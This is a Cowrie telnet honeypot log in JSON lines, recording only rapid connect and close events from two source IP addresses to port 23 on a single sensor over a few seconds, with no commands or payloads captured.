{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff671c4ea589","protocol":"telnet","message":"New connection: 208.115.200.90:35556 (10.17.0.5:23) [session: ff671c4ea589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.066082Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38912,"dst_ip":"10.17.0.5","dst_port":23,"session":"397fb7d2eb0f","protocol":"telnet","message":"New connection: 208.115.219.122:38912 (10.17.0.5:23) [session: 397fb7d2eb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.080736Z"}
{"eventid":"cowrie.session.closed","duration":30.394156455993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.087106Z","src_ip":"208.115.219.122","session":"3005883232af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38922,"dst_ip":"10.17.0.5","dst_port":23,"session":"4535b36a1769","protocol":"telnet","message":"New connection: 208.115.219.122:38922 (10.17.0.5:23) [session: 4535b36a1769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.123188Z"}
{"eventid":"cowrie.session.closed","duration":30.3038969039917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.134183Z","src_ip":"208.115.219.122","session":"a87d38e9e65b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965646982192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.140404Z","src_ip":"208.115.219.122","session":"dd670109209b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040199518203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.181636Z","src_ip":"208.115.219.122","session":"be4a44a63923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38948,"dst_ip":"10.17.0.5","dst_port":23,"session":"27e5f4607bee","protocol":"telnet","message":"New connection: 208.115.219.122:38948 (10.17.0.5:23) [session: 27e5f4607bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.190877Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38968,"dst_ip":"10.17.0.5","dst_port":23,"session":"df98b43e3493","protocol":"telnet","message":"New connection: 208.115.219.122:38968 (10.17.0.5:23) [session: df98b43e3493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.240928Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35576,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec65d8db1c6c","protocol":"telnet","message":"New connection: 208.115.200.90:35576 (10.17.0.5:23) [session: ec65d8db1c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.341466Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc2de5a3c95","protocol":"telnet","message":"New connection: 208.115.200.90:35566 (10.17.0.5:23) [session: 4fc2de5a3c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.345732Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39144,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b1619305ae","protocol":"telnet","message":"New connection: 208.115.219.122:39144 (10.17.0.5:23) [session: 91b1619305ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.797399Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35802,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ccd8ec4a83","protocol":"telnet","message":"New connection: 208.115.200.90:35802 (10.17.0.5:23) [session: 02ccd8ec4a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:22.893591Z"}
{"eventid":"cowrie.session.closed","duration":30.85476326942444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.033330Z","src_ip":"208.115.219.122","session":"8e9243c2d4b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16145348548889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.037513Z","src_ip":"208.115.219.122","session":"da521f3cf3a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93982458114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.041501Z","src_ip":"208.115.219.122","session":"6fe99ee580cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39224,"dst_ip":"10.17.0.5","dst_port":23,"session":"051cbe3d37a1","protocol":"telnet","message":"New connection: 208.115.219.122:39224 (10.17.0.5:23) [session: 051cbe3d37a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.145709Z"}
{"eventid":"cowrie.session.closed","duration":31.09321141242981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.150127Z","src_ip":"208.115.219.122","session":"87fcfbb2bd4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.377153396606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.179662Z","src_ip":"208.115.219.122","session":"9928cafb6267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39238,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a702eba63a0","protocol":"telnet","message":"New connection: 208.115.219.122:39238 (10.17.0.5:23) [session: 1a702eba63a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.186489Z"}
{"eventid":"cowrie.session.closed","duration":30.925739765167236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.203925Z","src_ip":"208.115.219.122","session":"4fa2a66d878d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36078,"dst_ip":"10.17.0.5","dst_port":23,"session":"373d81ecf253","protocol":"telnet","message":"New connection: 208.115.200.90:36078 (10.17.0.5:23) [session: 373d81ecf253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.465881Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39374,"dst_ip":"10.17.0.5","dst_port":23,"session":"a66647b79b5b","protocol":"telnet","message":"New connection: 208.115.219.122:39374 (10.17.0.5:23) [session: a66647b79b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.489609Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36220,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac978148f9fd","protocol":"telnet","message":"New connection: 208.115.200.90:36220 (10.17.0.5:23) [session: ac978148f9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.554493Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7169448a513","protocol":"telnet","message":"New connection: 208.115.219.122:39502 (10.17.0.5:23) [session: e7169448a513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:23.829383Z"}
{"eventid":"cowrie.session.closed","duration":30.862183094024658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.016424Z","src_ip":"208.115.219.122","session":"ef869c958ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.494922637939453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.040770Z","src_ip":"208.115.219.122","session":"c60da6cee62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39576,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ceaf99759d","protocol":"telnet","message":"New connection: 208.115.219.122:39576 (10.17.0.5:23) [session: 52ceaf99759d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.049822Z"}
{"eventid":"cowrie.session.closed","duration":30.46479868888855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.053269Z","src_ip":"208.115.219.122","session":"08ad314ddb8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37388,"dst_ip":"10.17.0.5","dst_port":23,"session":"be49934501a2","protocol":"telnet","message":"New connection: 208.115.200.90:37388 (10.17.0.5:23) [session: be49934501a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.059659Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39574,"dst_ip":"10.17.0.5","dst_port":23,"session":"d608849a33bb","protocol":"telnet","message":"New connection: 208.115.219.122:39574 (10.17.0.5:23) [session: d608849a33bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.063071Z"}
{"eventid":"cowrie.session.closed","duration":31.039759874343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.074901Z","src_ip":"208.115.219.122","session":"4d262dc5a7c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"680e27218099","protocol":"telnet","message":"New connection: 208.115.200.90:37398 (10.17.0.5:23) [session: 680e27218099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.107205Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37420,"dst_ip":"10.17.0.5","dst_port":23,"session":"187a1584d057","protocol":"telnet","message":"New connection: 208.115.200.90:37420 (10.17.0.5:23) [session: 187a1584d057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.216758Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37444,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1081c4c61b","protocol":"telnet","message":"New connection: 208.115.200.90:37444 (10.17.0.5:23) [session: 3a1081c4c61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.247962Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37460,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7567be9d309","protocol":"telnet","message":"New connection: 208.115.200.90:37460 (10.17.0.5:23) [session: b7567be9d309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.254085Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53588,"dst_ip":"10.17.0.5","dst_port":23,"session":"2147c0894d2c","protocol":"telnet","message":"New connection: 208.115.200.90:53588 (10.17.0.5:23) [session: 2147c0894d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.362998Z"}
{"eventid":"cowrie.session.closed","duration":30.90691304206848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.384511Z","src_ip":"208.115.219.122","session":"f40e50755f2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.571024894714355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.390529Z","src_ip":"208.115.219.122","session":"ca4ff3f84497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53826,"dst_ip":"10.17.0.5","dst_port":23,"session":"acafaa6a4e4f","protocol":"telnet","message":"New connection: 208.115.200.90:53826 (10.17.0.5:23) [session: acafaa6a4e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.505598Z"}
{"eventid":"cowrie.session.closed","duration":31.51533031463623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.676004Z","src_ip":"208.115.219.122","session":"e59d9476871f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54586,"dst_ip":"10.17.0.5","dst_port":23,"session":"25898911db0f","protocol":"telnet","message":"New connection: 208.115.200.90:54586 (10.17.0.5:23) [session: 25898911db0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.821100Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54638,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c1a4170e3b","protocol":"telnet","message":"New connection: 208.115.200.90:54638 (10.17.0.5:23) [session: 03c1a4170e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:24.847445Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"a42da460101d","protocol":"telnet","message":"New connection: 208.115.219.122:39886 (10.17.0.5:23) [session: a42da460101d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.051494Z"}
{"eventid":"cowrie.session.closed","duration":31.041213274002075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.065878Z","src_ip":"208.115.200.90","session":"4398cd638582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23511290550232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.073307Z","src_ip":"208.115.219.122","session":"48f1d1595c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39044,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af89cc74a29","protocol":"telnet","message":"New connection: 208.115.219.122:39044 (10.17.0.5:23) [session: 0af89cc74a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.080064Z"}
{"eventid":"cowrie.session.closed","duration":30.274784803390503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.087355Z","src_ip":"208.115.219.122","session":"03383275c3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749930381774902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.094353Z","src_ip":"208.115.219.122","session":"59b39ba455a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097636938095093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.179478Z","src_ip":"208.115.219.122","session":"da4286f4b362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41b2bff39b1","protocol":"telnet","message":"New connection: 208.115.200.90:54950 (10.17.0.5:23) [session: d41b2bff39b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.201267Z"}
{"eventid":"cowrie.session.closed","duration":30.976253986358643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.222355Z","src_ip":"208.115.219.122","session":"5c45901a103f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54952,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5a88772b52","protocol":"telnet","message":"New connection: 208.115.200.90:54952 (10.17.0.5:23) [session: ed5a88772b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.227173Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54964,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb4482e1a924","protocol":"telnet","message":"New connection: 208.115.200.90:54964 (10.17.0.5:23) [session: fb4482e1a924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.299875Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55098,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80591e07aca","protocol":"telnet","message":"New connection: 208.115.200.90:55098 (10.17.0.5:23) [session: c80591e07aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.493651Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55666,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4dd211530bb","protocol":"telnet","message":"New connection: 208.115.200.90:55666 (10.17.0.5:23) [session: b4dd211530bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:25.896880Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55874,"dst_ip":"10.17.0.5","dst_port":23,"session":"f43b3336ff1e","protocol":"telnet","message":"New connection: 208.115.200.90:55874 (10.17.0.5:23) [session: f43b3336ff1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.027029Z"}
{"eventid":"cowrie.session.closed","duration":30.155020475387573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.045173Z","src_ip":"208.115.219.122","session":"e5bc35fb8e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39170,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ef99341a2e8","protocol":"telnet","message":"New connection: 208.115.219.122:39170 (10.17.0.5:23) [session: 4ef99341a2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.074633Z"}
{"eventid":"cowrie.session.closed","duration":31.09896159172058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.141496Z","src_ip":"208.115.219.122","session":"9693888b5807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2f92d404a18","protocol":"telnet","message":"New connection: 208.115.200.90:55908 (10.17.0.5:23) [session: c2f92d404a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.241160Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55914,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fff0da2e91","protocol":"telnet","message":"New connection: 208.115.200.90:55914 (10.17.0.5:23) [session: 36fff0da2e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.280290Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55922,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d4c13bc4f78","protocol":"telnet","message":"New connection: 208.115.200.90:55922 (10.17.0.5:23) [session: 4d4c13bc4f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.347955Z"}
{"eventid":"cowrie.session.closed","duration":31.191569089889526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.368367Z","src_ip":"208.115.200.90","session":"f33fdf7b4367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55938,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb5dbf3f9dd","protocol":"telnet","message":"New connection: 208.115.200.90:55938 (10.17.0.5:23) [session: dfb5dbf3f9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.376613Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"365b212e5d36","protocol":"telnet","message":"New connection: 208.115.200.90:56010 (10.17.0.5:23) [session: 365b212e5d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:26.571373Z"}
{"eventid":"cowrie.session.closed","duration":30.930916786193848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.065376Z","src_ip":"208.115.219.122","session":"30badc463195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98890e0a9a7","protocol":"telnet","message":"New connection: 208.115.200.90:56244 (10.17.0.5:23) [session: e98890e0a9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.078641Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56248,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9050ef35eb","protocol":"telnet","message":"New connection: 208.115.200.90:56248 (10.17.0.5:23) [session: 8d9050ef35eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.092876Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34ac1f1f0fd","protocol":"telnet","message":"New connection: 208.115.219.122:39180 (10.17.0.5:23) [session: d34ac1f1f0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.130667Z"}
{"eventid":"cowrie.session.closed","duration":30.845149993896484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.143465Z","src_ip":"208.115.219.122","session":"7e0c6687ffc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"287a70a8d343","protocol":"telnet","message":"New connection: 208.115.200.90:56256 (10.17.0.5:23) [session: 287a70a8d343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.187040Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39188,"dst_ip":"10.17.0.5","dst_port":23,"session":"fea9a8dee935","protocol":"telnet","message":"New connection: 208.115.219.122:39188 (10.17.0.5:23) [session: fea9a8dee935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.194509Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56270,"dst_ip":"10.17.0.5","dst_port":23,"session":"0184d05f6c75","protocol":"telnet","message":"New connection: 208.115.200.90:56270 (10.17.0.5:23) [session: 0184d05f6c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.279999Z"}
{"eventid":"cowrie.session.closed","duration":30.931936502456665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.300753Z","src_ip":"208.115.219.122","session":"c59fff2c1e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62fe4f878d5","protocol":"telnet","message":"New connection: 208.115.200.90:56276 (10.17.0.5:23) [session: f62fe4f878d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.428386Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39198,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0aa61dcda59","protocol":"telnet","message":"New connection: 208.115.219.122:39198 (10.17.0.5:23) [session: b0aa61dcda59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.604997Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39208,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d119d3943c","protocol":"telnet","message":"New connection: 208.115.219.122:39208 (10.17.0.5:23) [session: 40d119d3943c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.625199Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56284,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e6d2a74b1a","protocol":"telnet","message":"New connection: 208.115.200.90:56284 (10.17.0.5:23) [session: c0e6d2a74b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.684785Z"}
